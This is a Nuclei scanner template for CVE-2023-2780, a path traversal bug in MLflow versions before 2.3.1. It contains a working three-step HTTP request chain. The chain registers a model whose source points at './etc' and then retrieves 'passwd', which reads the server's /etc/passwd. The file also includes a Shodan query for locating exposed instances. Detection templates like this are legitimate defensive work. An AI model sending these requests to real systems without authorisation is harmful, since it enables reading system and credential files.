nuclei-templates/http/cves/2023/CVE-2023-2780.yaml

63 lines
1.6 KiB
YAML
Raw Normal View History

2023-05-22 10:26:58 +00:00
id: CVE-2023-2780
info:
name: Mlflow <2.3.1 - Local File Inclusion Bypass
author: iamnoooob,pdresearch
severity: critical
description: |
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.
reference:
- https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2780
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2780
cwe-id: CWE-29
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
epss-score: 0.00965
metadata:
max-request: 3
shodan-query: http.title:"mlflow"
2023-06-04 08:13:42 +00:00
verified: true
2023-05-22 10:26:58 +00:00
tags: mlflow,oss,lfi,huntr,cve,cve2023
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
2023-05-23 06:07:05 +00:00
{"name":"{{randstr}}","source":"file://./etc"}
2023-05-22 10:26:58 +00:00
- |
2023-05-23 05:53:52 +00:00
GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1
2023-05-22 10:26:58 +00:00
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: version
internal: true
group: 1
regex:
- '"version": "([0-9.]+)",'